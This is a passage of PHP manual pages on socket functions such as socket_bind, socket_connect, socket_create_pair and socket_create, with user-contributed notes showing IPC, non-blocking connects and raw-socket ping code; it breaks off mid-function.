The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Examples

Example #1 Using socket_bind() to set the source address

<?php
// Create a new socket
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// An example list of IP addresses owned by the computer
$sourceips['kevin']    = '127.0.0.1';
$sourceips['madcoder'] = '127.0.0.2';

// Bind the source address
socket_bind($sock, $sourceips['madcoder']);

// Connect to destination address
socket_connect($sock, '127.0.0.1', 80);

// Write
$request = 'GET / HTTP/1.1' . "\r\n" .
           'Host: example.com' . "\r\n\r\n";
socket_write($sock, $request);

// Close
socket_close($sock);

?>

Notes

Note:

This function must be used on the socket before socket_connect().

Note:

Windows 9x/ME compatibility note: socket_last_error() may return an invalid error code if trying to bind the socket to a wrong address that does not belong to your machine.

See Also

  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

gabriel at plenitech dot fr 23-Jun-2013 09:29
When doing Unix sockets, it might be necessary to chmod the socket file so as to give Write permission to Group and/or Others. Otherwise, only the owner is allowed to write data into the stream.

Example:

<?php
$sockpath = '/tmp/my.sock';
socket_bind($socket, $sockpath);
//here: write-only (socket_send) to others, only owner can fetch data.
chmod($sockpath, 0702);
?>
dresende at thinkdigital dot pt 21-Nov-2011 06:39
Regarding previous post:

"0" has address is no different from "0.0.0.0"

127.0.0.1 -> accept only from local host
w.x.y.z (valid local IP) -> accep only from this network
0.0.0.0 -> accept from anywhere
Mex 14-Sep-2011 02:25
It appears for the $address parameter:

'127.0.0.1'
accepts clients from localhost (eg. 127.0.0.1)

'0.0.0.0'
accepts clients from localhost, and the server's network (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40)

'0' or 0
accepts clients from localhost, the server's network, and external networks (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40, 209.85.169.99)
php50613160534 dot 3 dot korkman at spamgourmet dot org 13-Jun-2005 03:16
Use 0 for port to bind a random (free) port for incoming connections:

socket_bind ($socket, $bind_address, 0);
socket_getsockname($socket, $socket_address, $socket_port);
socket_listen($socket);
...

$socket_port contains the assigned port, you might want to send it to a remote client connecting. Tested with php 5.03.
gasket at cekkent dot net 04-May-2003 03:19
The aforementioned tidbit about using NULL to bind to all addresses did not work for me, as I would receive an error about unknown address. Using a 0 worked for me:

socket_bind ($socket, 0, $port)

This also allows you to receive UDP broadcasts, which is what I had been trying to figure out.
keksov[at]gmx.de 10-Jun-2002 08:22
If you want to reuse address and port, and get rid of error: unable to bind, address already in use, you have to use socket_setopt (check actual spelling for this function in you PHP verison) before calling bind:

<?php
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error($sock));
    exit;
}
?>

This solution was found by
Christophe Dirac. Thank you Christophe!


Clears the error on the socket or the last error code

  • « socket_bind
  • socket_close »
  • PHP Manual
  • Socket Functions
  • Clears the error on the socket or the last error code

socket_clear_error

(PHP 4 >= 4.2.0, PHP 5)

socket_clear_error — Clears the error on the socket or the last error code

Description

void socket_clear_error ([ resource $socket ] )

This function clears the error code on the given socket or the global last socket error if no socket is specified.

This function allows explicitly resetting the error code value either of a socket or of the extension global last error code. This may be useful to detect within a part of the application if an error occurred or not.

Parameters

socket

A valid socket resource created with socket_create().

Return Values

No value is returned.

See Also

  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

raphael at engenhosweb dot com dot br 27-Jul-2011 11:45
You can do this too, with anonymous function:
<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or function() {
            $errstr = socket_strerror(socket_last_error());
            echo ("Failed to create socket: " . $errstr);
            socket_clear_error();
        };
?>
ludvig dot ericson at gmail dot com 24-May-2006 01:08
If you want to clear your error in a small amount of code, do a similar hack as to what most people do in SQL query checking,
<?php
$result = mysql_query($sql) or die(/* Whatever code */);
?>

It could look like this:
<?php
if (!($socket = socket_create(/* Whatever code */)) {
    echo ("Failed to create socket: " . socket_strerror(socket_last_error()) and socket_clear_error());
}
?>

As you can see, I use "and" here instead of "or" since the first part will always return true, thus if you use or PHP's lazy boolean checking will not execute the last part, which it will with an and if the first part is true.


Closes a socket resource

  • « socket_clear_error
  • socket_cmsg_space »
  • PHP Manual
  • Socket Functions
  • Closes a socket resource

socket_close

(PHP 4 >= 4.1.0, PHP 5)

socket_close — Closes a socket resource

Description

void socket_close ( resource $socket )

socket_close() closes the socket resource given by socket. This function is specific to sockets and cannot be used on any other type of resources.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

Return Values

No value is returned.

See Also

  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 07:24
PHP: 5.1.4
Summary: close() does not relinquish socket immediately.

With the BSD socket implementation (which is the socket interface used by PHP), a socket_close() may close the socket, but there may yet be data to send. Until the data is sent, the port will not be available. Therefore, all further bindings attempted on that port will not be acceptable due to the 'port can not be reused' (the approximate message, anyway) error. Ordinarily, if the REUSABLE socket option is set, the only thing that will raise such an error is a binding to a specific IP/PORT combination that is already bound.

To avoid this problem, you must tell it to delay returning until the port either sends the rest of its data, or times-out in doing it. This is done via the SO_LINGER option. To set this option, it requires an array of two elements: the first indicates whether a linger is required on any data before the shutdown completes, and the second indicates whether we actually linger. If we set a nonzero to the first while setting a zero to the second, we would simply drop whatever data is waiting in the buffer, and close the socket. To tell it simply to wait on the data to be sent, you send a non-zero for both: array(1, 1).

Note that if you have indicated not to block (socket_set_nonblock()), it will simply exit no matter what, much like it usually would. In this case it bursts an EWOULDWAIT flag, but since I don't think we have access to these socket flags in PHP, one should re-enable blocking right before they set the linger and quit.

    // These commands get fed straight through to the Unix socket libraries.. That's why they're a little more C-like.
    $arrOpt = array('l_onoff' => 1, 'l_linger' => 1);
    socket_set_block($this->Socket);
    socket_set_option($this->Socket, SOL_SOCKET, SO_LINGER, $arrOpt);
    socket_close($this->Socket);
chaos 08-Jun-2002 12:57
Sometimes it seems that you have to shutdown() a socket before you can close() it. I experienced that while making a chatserver in PHP with this cool socket extension.


Calculate message buffer size

  • « socket_close
  • socket_connect »
  • PHP Manual
  • Socket Functions
  • Calculate message buffer size

socket_cmsg_space

(PHP 5 >= 5.5.0)

socket_cmsg_space — Calculate message buffer size

Description

int socket_cmsg_space ( int $level , int $type )

Calculates the size of the buffer that should be allocated for receiving the ancillary data.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

type

Return Values

See Also

  • socket_recvmsg() - Read a message
  • socket_sendmsg() - Send a message

User Contributed Notes

There are no user contributed notes for this page.


Initiates a connection on a socket

  • « socket_cmsg_space
  • socket_create_listen »
  • PHP Manual
  • Socket Functions
  • Initiates a connection on a socket

socket_connect

(PHP 4 >= 4.1.0, PHP 5)

socket_connect — Initiates a connection on a socket

Description

bool socket_connect ( resource $socket , string $address [, int $port = 0 ] )

Initiate a connection to address using the socket resource socket, which must be a valid socket resource created with socket_create().

Parameters

socket

address

The address parameter is either an IPv4 address in dotted-quad notation (e.g. 127.0.0.1) if socket is AF_INET, a valid IPv6 address (e.g. ::1) if IPv6 support is enabled and socket is AF_INET6 or the pathname of a Unix domain socket, if the socket family is AF_UNIX.

port

The port parameter is only used and is mandatory when connecting to an AF_INET or an AF_INET6 socket, and designates the port on the remote host to which a connection should be made.

Return Values

Returns TRUE on success or FALSE on failure. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Note:

If the socket is non-blocking then this function returns FALSE with an error Operation now in progress.

See Also

  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

ryan dot yoosefi at gmail dot com 09-Oct-2014 04:35
UDP sockets can be "connected", the subsystem will simply remember the destination. socket_getpeername() will also work. No data is sent upon UDP "connection".

<?php
$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP);
socket_connect($socket,'127.0.0.1',1);
socket_getpeername($socket,$name,$port);
echo "{$name}:{$port}\n"; // 127.0.0.1:1
var_dump(socket_send($socket,'foo',3,0)); // int(3)
var_dump(socket_last_error($socket)); // int(0)
?>
Cedar Myers 15-Apr-2011 07:23
It seems that timeout values can be specified by setting the SO_SNDTIMEO option before calling socket_connect():

<?php
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $seconds, 'usec' => $milliseconds));
socket_connect($socket, $address, $port)//...
?>
thewanderer 17-Jan-2011 07:55
Note that as of PHP5.3 it is not possible to send IPv6 multicast to link-local addresses, because socket_connect() is just a trimmed-down version of connect() and does not support passing sin6_scope_id - the scope ID is required when sending packets to ff02::1 (all-nodes), for example.
At first I thought I needed to bind the socket to the device using SO_BINDTODEVICE option (undefined constant in PHP - use numeric value 25), but it makes no difference, only requires root privileges to produce no usable results.
Also, if you think you are sending multicast packets to link local addresses just because socket_sendto() returns a positive number of bytes, you might be wrong - just returning success does not mean that packets are sent over any link at all. In my test case I was sending to ff02::1, I could detect no errors, but Wireshark showed no packets. They end up in void.
This is irrelevant to the handling of local reception sockets, so UDP listeners should still work as usual with IPv6/UDP. You might want to resort to C for implementing multicasters, though.
peter at videoripper dot org 29-Oct-2009 08:29
This will give you a simple port-checker.

Note that on production-machines, you might want to alter the error reporting-level,
since unsuccessful connects will give you a "No connection could be made because
the target machine actively refused it"-error in the log.

Under Windows, make sure you enable the php_sockets.dll extension in your php.ini.

<?php
  $address=$_SERVER['REMOTE_ADDR'];

  if (isset($_REQUEST['port']) and
      (!strlen($_REQUEST['port'])==0))
    $port=$_REQUEST['port'];
  else
    unset($port);

  if (isset($port) and
      ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and
      (socket_connect($socket, $address, $port)))
    {
      $text="Connection successful on IP $address, port $port";
      socket_close($socket);
    }
  else
    $text="Unable to connect<pre>".socket_strerror(socket_last_error())."</pre>";

  echo "<html><head></head><body>".
       $text.
       "</body></html>";
?>

Greetz,

Peter.
jerrywilborn at gmail dot com 02-Sep-2009 06:40
This will print the banner from a true 'telnet' server (router, switch, host, etc).

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 23);

while (TRUE) {
        $r = array($socket);
        $c = socket_select($r, $w = NULL, $e = NULL, 5);

        foreach ($r as $read_socket) {
                if ($r = negotiate($read_socket)) {
                        var_dump($r);
                        exit;
                }
        }
}

function negotiate ($socket) {
        socket_recv($socket, $buffer, 1024, 0);

        for ($chr = 0; $chr < strlen($buffer); $chr++) {
                if ($buffer[$chr] == chr(255)) {

                        $send = (isset($send) ? $send . $buffer[$chr] : $buffer[$chr]);

                        $chr++;
                        if (in_array($buffer[$chr], array(chr(251), chr(252)))) $send .= chr(254);
                        if (in_array($buffer[$chr], array(chr(253), chr(254)))) $send .= chr(252);

                        $chr++;
                        $send .= $buffer[$chr];
                } else {
                        break;
                }
        }

        if (isset($send)) socket_send($socket, $send, strlen($send), 0);
        if ($chr - 1 < strlen($buffer)) return substr($buffer, $chr);

}
vshih at yahoo 14-Apr-2009 09:52
rbarnes' tip is helpful, but I found that I needed to add a check for SOCKET_EISCONN in the while loop:

    ...
    $error = socket_last_error();

    if ($error == SOCKET_EISCONN) {
        $connected = true;
        break;
    }
    ...

At least on Mac OS X 10.5.
maganap 18-Sep-2008 09:15
Hi there!

For the TCP connections: socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
In case you're having problems in socket_connect() with socket_strerror() = "Permission denied", you may be having a SELinux config issue.

Check if SELinux is enabled:
# /usr/sbin/sestatus -v
In case it is, you can just type the command:
# setsebool httpd_can_network_connect=1

That's it... I read you had to reboot, but I didn't and it worked fine anyway. More info, you may check:
http://arkiv.netbsd.se/?ml=squirrelmail-users&a=2005-11&t=1523021
rbarnes at fake dot com 15-Jul-2008 07:04
Here is an example of a non-blocking connect which should perform quite a bit faster than the one posted by Seymour below:

<?php
function msConnectSocket($remote, $port, $timeout = 30) {
        # this works whether $remote is a hostname or IP
        $ip = "";
        if( !preg_match('/^\d+\.\d+\.\d+\.\d+$/', $remote) ) {
            $ip = gethostbyname($remote);
            if ($ip == $remote) {
                $this->errstr = "Error Connecting Socket: Unknown host";
                return NULL;
            }
        } else $ip = $remote;

        if (!($this->_SOCK = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
            $this->errstr = "Error Creating Socket: ".socket_strerror(socket_last_error());
            return NULL;
        }

        socket_set_nonblock($this->_SOCK);

        $error = NULL;
        $attempts = 0;
        $timeout *= 1000;  // adjust because we sleeping in 1 millisecond increments
        $connected;
        while (!($connected = @socket_connect($this->_SOCK, $remote, $port+0)) && $attempts++ < $timeout) {
            $error = socket_last_error();
            if ($error != SOCKET_EINPROGRESS && $error != SOCKET_EALREADY) {
                $this->errstr = "Error Connecting Socket: ".socket_strerror($error);
                socket_close($this->_SOCK);
                return NULL;
            }
            usleep(1000);
        }

        if (!$connected) {
            $this->errstr = "Error Connecting Socket: Connect Timed Out After $timeout seconds. ".socket_strerror(socket_last_error());
            socket_close($this->_SOCK);
            return NULL;
        }

        socket_set_block($this->_SOCK);

        return 1;
}
?>
mike at fserve dot us 22-Feb-2008 11:14
This probably sounds like common sense, but it is something nobody i asked thought of... you can't bind the socket to localhost, you must bind it to either the IP your router assigns you, or your public IP address. If you bind to localhost, it will give an invalid resource error.
telefoontoestel at home 23-Nov-2003 09:05
In reply to the function socket_raw_connect posted by "net_del at freemail dot ru". In the function you give a return value and afterwords you try to close the connection. That won't ever work. I think you want to alter your code ;-)
seymour@itsyourdomain 01-Oct-2003 09:43
here's how you can implement timeouts with the socket functions.

this example works for blocking sockets but will work for both blocking and nonblocking with minor modifications. first call to connect in nonblocking mode returns 115 EINPROGRESS, additional calls return 114 EALREADY if the connection has not already failed or succeeded. once the connection succeeds, the socket resource will be returned.

<?
    $host = "127.0.0.1";
    $port = "80";
    $timeout = 15;  //timeout in seconds

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)
      or die("Unable to create socket\n");

    socket_set_nonblock($socket)
      or die("Unable to set nonblock on socket\n");

    $time = time();
    while (!@socket_connect($socket, $host, $port))
    {
      $err = socket_last_error($socket);
      if ($err == 115 || $err == 114)
      {
        if ((time() - $time) >= $timeout)
        {
          socket_close($socket);
          die("Connection timed out.\n");
        }
        sleep(1);
        continue;
      }
      die(socket_strerror($err) . "\n");
    }

    socket_set_block($this->socket)
      or die("Unable to set block on socket\n");
?>
w at ff dot st 28-Jun-2003 11:20
man page for connect :
 EINPROGRESS
The socket is non-blocking and the connection cannot be completed immediately.  It is possible to select(2) or poll(2) for completion by selecting the socket for writing. After select indicates  writability,  use  getsockopt(2)  to read the SO_ERROR option at level SOL_SOCKET to determine whether connect completed successfully (SO_ERROR is zero) or unsuccessfully (SO_ERROR is one of the usual error codes listed here, explaining the reason for the failure).

use socket_getoption($socket,SOL_SOCKET,SO_ERROR) . If you get value 115, it is connecting. If you get value different than 115 and 0, that means that an error has occured (see what error with socket_strerror()).

However, I don't know how does that works under Windows, maybe it wont work at all. It is supposed to work under Linux (man pages said that).
greg at mtechsolutions dot ca 30-Apr-2003 11:12
If you're using non-blocking, be sure not to turn it on until after you connect, otherwise you will get the mesasge:

PHP Warning:  socket_connect() unable to connect [115]: Operation now in progress in file.php on line 123

and socket_connect() will return false (even though it will connect).
logan at voerthegame dot com 24-Jul-2002 08:24
I had the same problem with the timeout, and i applied this solution.

It works only on linux PHP, i make a ping to the ip before connect the socket.....

<?php
$address = gethostbyname ($ip);
        $command = "ping -c 1 " . $address;
        $r = exec($command);
          if ($r[0]=="r")
          {
            $socket = socket_create (AF_INET, SOCK_STREAM, 0);
            if ($socket < 0) {
                echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
            } else {
                echo "OK.\n";
            }
?>


Opens a socket on port to accept connections

  • « socket_connect
  • socket_create_pair »
  • PHP Manual
  • Socket Functions
  • Opens a socket on port to accept connections

socket_create_listen

(PHP 4 >= 4.1.0, PHP 5)

socket_create_listen — Opens a socket on port to accept connections

Description

resource socket_create_listen ( int $port [, int $backlog = 128 ] )

socket_create_listen() creates a new socket resource of type AF_INET listening on all local interfaces on the given port waiting for new connections.

This function is meant to ease the task of creating a new socket which only listens to accept new connections.

Parameters

port

The port on which to listen on all interfaces.

backlog

The backlog parameter defines the maximum length the queue of pending connections may grow to. SOMAXCONN may be passed as backlog parameter, see socket_listen() for more information.

Return Values

socket_create_listen() returns a new socket resource on success or FALSE on error. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Notes

Note:

If you want to create a socket which only listens on a certain interface you need to use socket_create(), socket_bind() and socket_listen().

See Also

  • socket_create() - Create a socket (endpoint for communication)
  • socket_create_pair() - Creates a pair of indistinguishable sockets and stores them in an array
  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

aeolianmeson at ifacfchi dot blitzeclipse dot com 27-Jun-2008 12:34
I believe that on some systems this may not bind to some or all public interfaces.

On my Windows system, I could not connect on the public interface using this, but could when I made the individual calls to create, bind, and listen.

Dustin Oprea
sysspoof at ng-lab dot org 06-Mar-2008 08:03
Please note that port 1 to and with 1024 on linux and bsd system require root privileges. So it is recommended to choose a higher port for your own application.
jdittmer at ppp0 dot net 17-Jul-2004 01:42
If you specify no port number, or 0, a random free port will be chosen.
To use ports for ipc between client/server on the same machine you can use (minus error checking)

server.php:
<?php
$sock = socket_create_listen(0);
socket_getsockname($sock, $addr, $port);
print "Server Listening on $addr:$port\n";
$fp = fopen($port_file, 'w');
fwrite($fp, $port);
fclose($fp);
while($c = socket_accept($sock)) {
   /* do something useful */
   socket_getpeername($c, $raddr, $rport);
   print "Received Connection from $raddr:$rport\n";
}
socket_close($sock);
?>

client.php:
<?php
$fp = fopen($port_file, 'r');
$port = fgets($fp, 1024);
fclose($fp);
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, '127.0.0.1', $port);
socket_close($sock);
?>
basim at baassiri dot com 06-Feb-2004 11:50
Remember that ports are only valid from 1 - 65536


Creates a pair of indistinguishable sockets and stores them in an array

  • « socket_create_listen
  • socket_create »
  • PHP Manual
  • Socket Functions
  • Creates a pair of indistinguishable sockets and stores them in an array

socket_create_pair

(PHP 4 >= 4.1.0, PHP 5)

socket_create_pair — Creates a pair of indistinguishable sockets and stores them in an array

Description

bool socket_create_pair ( int $domain , int $type , int $protocol , array &$fd )

socket_create_pair() creates two connected and indistinguishable sockets, and stores them in fd. This function is commonly used in IPC (InterProcess Communication).

Parameters

domain

The domain parameter specifies the protocol family to be used by the socket. See socket_create() for the full list.

type

The type parameter selects the type of communication to be used by the socket. See socket_create() for the full list.

protocol

The protocol parameter sets the specific protocol within the specified domain to be used when communicating on the returned socket. The proper value can be retrieved by name by using getprotobyname(). If the desired protocol is TCP, or UDP the corresponding constants SOL_TCP, and SOL_UDP can also be used.

See socket_create() for the full list of supported protocols.

fd

Reference to an array in which the two socket resources will be inserted.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now re-enabled on Windows platforms.
4.3.0 | This function was due to a bug made unavailable on Windows platforms.

Examples

Example #1 socket_create_pair() example

<?php
$sockets = array();

/* On Windows we need to use AF_INET */
$domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);

/* Setup socket pair */
if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>

Example #2 socket_create_pair() IPC example

<?php
$ary = array();
$strone = 'Message From Parent.';
$strtwo = 'Message From Child.';

if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $ary) === false) {
    echo "socket_create_pair() failed. Reason: ".socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
    echo 'Could not fork Process.';
} elseif ($pid) {
    /*parent*/
    socket_close($ary[0]);
    if (socket_write($ary[1], $strone, strlen($strone)) === false) {
        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[1]));
    }
    if (socket_read($ary[1], strlen($strtwo), PHP_BINARY_READ) == $strtwo) {
        echo "Recieved $strtwo\n";
    }
    socket_close($ary[1]);
} else {
    /*child*/
    socket_close($ary[1]);
    if (socket_write($ary[0], $strtwo, strlen($strtwo)) === false) {
        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[0]));
    }
    if (socket_read($ary[0], strlen($strone), PHP_BINARY_READ) == $strone) {
        echo "Recieved $strone\n";
    }
    socket_close($ary[0]);
}
?>

See Also

  • socket_create() - Create a socket (endpoint for communication)
  • socket_create_listen() - Opens a socket on port to accept connections
  • socket_bind() - Binds a name to a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

cweiske at php dot net 09-May-2009 10:45
The underlying sockpair() function does only support AF_UNIX at least on BSD and Linux.
thegreatall at gmail dot com 13-Jul-2007 08:24
There is a syntax error in one of the code samples provided, it should look like this:
<?php
$sockets = array();
/* Setup socket pair */
if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>


Create a socket (endpoint for communication)

  • « socket_create_pair
  • socket_get_option »
  • PHP Manual
  • Socket Functions
  • Create a socket (endpoint for communication)

socket_create

(PHP 4 >= 4.1.0, PHP 5)

socket_create — Create a socket (endpoint for communication)

Description

resource socket_create ( int $domain , int $type , int $protocol )

Creates and returns a socket resource, also referred to as an endpoint of communication. A typical network connection is made up of 2 sockets, one performing the role of the client, and another performing the role of the server.

Parameters

domain

The domain parameter specifies the protocol family to be used by the socket.

Available address/protocol families
Domain | Description
AF_INET | IPv4 Internet based protocols. TCP and UDP are common protocols of this protocol family.
AF_INET6 | IPv6 Internet based protocols. TCP and UDP are common protocols of this protocol family.
AF_UNIX | Local communication protocol family. High efficiency and low overhead make it a great form of IPC (Interprocess Communication).
type

The type parameter selects the type of communication to be used by the socket.

Available socket types
Type | Description
SOCK_STREAM | Provides sequenced, reliable, full-duplex, connection-based byte streams. An out-of-band data transmission mechanism may be supported. The TCP protocol is based on this socket type.
SOCK_DGRAM | Supports datagrams (connectionless, unreliable messages of a fixed maximum length). The UDP protocol is based on this socket type.
SOCK_SEQPACKET | Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each read call.
SOCK_RAW | Provides raw network protocol access. This special type of socket can be used to manually construct any type of protocol. A common use for this socket type is to perform ICMP requests (like ping).
SOCK_RDM | Provides a reliable datagram layer that does not guarantee ordering. This is most likely not implemented on your operating system.
protocol

The protocol parameter sets the specific protocol within the specified domain to be used when communicating on the returned socket. The proper value can be retrieved by name by using getprotobyname(). If the desired protocol is TCP, or UDP the corresponding constants SOL_TCP, and SOL_UDP can also be used.

Common protocols
Name | Description
icmp | The Internet Control Message Protocol is used primarily by gateways and hosts to report errors in datagram communication. The "ping" command (present in most modern operating systems) is an example application of ICMP.
udp | The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths. Due to these aspects, UDP requires a minimum amount of protocol overhead.
tcp | The Transmission Control Protocol is a reliable, connection based, stream oriented, full duplex protocol. TCP guarantees that all data packets will be received in the order in which they were sent. If any packet is somehow lost during communication, TCP will automatically retransmit the packet until the destination host acknowledges that packet. For reliability and performance reasons, the TCP implementation itself decides the appropriate octet boundaries of the underlying datagram communication layer. Therefore, TCP applications must allow for the possibility of partial record transmission.

Return Values

socket_create() returns a socket resource on success, or FALSE on error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

Errors/Exceptions

If an invalid domain or type is given, socket_create() defaults to AF_INET and SOCK_STREAM respectively and additionally emits an E_WARNING message.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

ab1965 at yandex dot ru 04-May-2012 09:43
It took some time to understand how one PHP process can communicate with another by means of unix udp sockets. Examples of 'server' and 'client' code are given below. Server is assumed to run before client starts.

'Server' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be used in recv_from and send_to
$server_side_sock = dirname(__FILE__)."/server.sock";
if (!socket_bind($socket, $server_side_sock))
        die("Unable to bind to $server_side_sock");

while(1) // server never exits
{
// receive query
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
echo "Ready to receive...\n";
// will block to wait client query
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

$buf .= "->Response"; // process client query here

// send response
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// client side socket filename is known from client request: $from
$len = strlen($buf);
$bytes_sent = socket_sendto($socket, $buf, $len, 0, $from);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');
echo "Request processed\n";
}
?>

'Client' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be later used in recv_from
// no binding is required if you wish only send and never receive
$client_side_sock = dirname(__FILE__)."/client.sock";
if (!socket_bind($socket, $client_side_sock))
        die("Unable to bind to $client_side_sock");

// use socket to send data
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// server side socket filename is known apriori
$server_side_sock = dirname(__FILE__)."/server.sock";
$msg = "Message";
$len = strlen($msg);
// at this point 'server' process must be running and bound to receive from serv.sock
$bytes_sent = socket_sendto($socket, $msg, $len, 0, $server_side_sock);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');

// use socket to receive data
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
// will block to wait server response
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

// close socket and delete own .sock file
socket_close($socket);
unlink($client_side_sock);
echo "Client exits\n";
?>
geoff at spacevs dot com 20-Nov-2010 10:51
Here is a ping function for PHP without using exec/system/passthrough/etc... Very useful to use to just test if a host is online before attempting to connect to it. Timeout is in seconds.

<?PHP
        function ping($host, $timeout = 1) {
                /* ICMP ping packet with a pre-calculated checksum */
                $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
                $socket  = socket_create(AF_INET, SOCK_RAW, 1);
                socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
                socket_connect($socket, $host, null);

                $ts = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                if (socket_read($socket, 255))
                        $result = microtime(true) - $ts;
                else    $result = false;
                socket_close($socket);

                return $result;
        }
?>
rhollencamp at gmail dot com 09-Sep-2009 06:29
Note that if you create a socket with AF_UNIX, a file will be created in the filesystem. This file is not removed when you call socket_close - you should unlink the file after you close the socket.
alexander dot krause at ed-solutions dot de 20-Mar-2008 09:57
On UNIX systems php needs /etc/protocols for constants like SOL_UDP and SOL_TCP.

This file was missing on my embedded platform.
Jean Charles MAMMANA 31-Jan-2008 01:54
I've written the ping() function using socket_create() with SOCK_RAW.
(on Unix System, you need to have the root acces to execute this function)

<?php

/// start ping.inc.php ///

$g_icmp_error = "No Error";

// timeout in ms
function ping($host, $timeout)
{
        $port = 0;
        $datasize = 64;
        global $g_icmp_error;
        $g_icmp_error = "No Error";
        $ident = array(ord('J'), ord('C'));
        $seq   = array(rand(0, 255), rand(0, 255));

     $packet = '';
     $packet .= chr(8); // type = 8 : request
     $packet .= chr(0); // code = 0

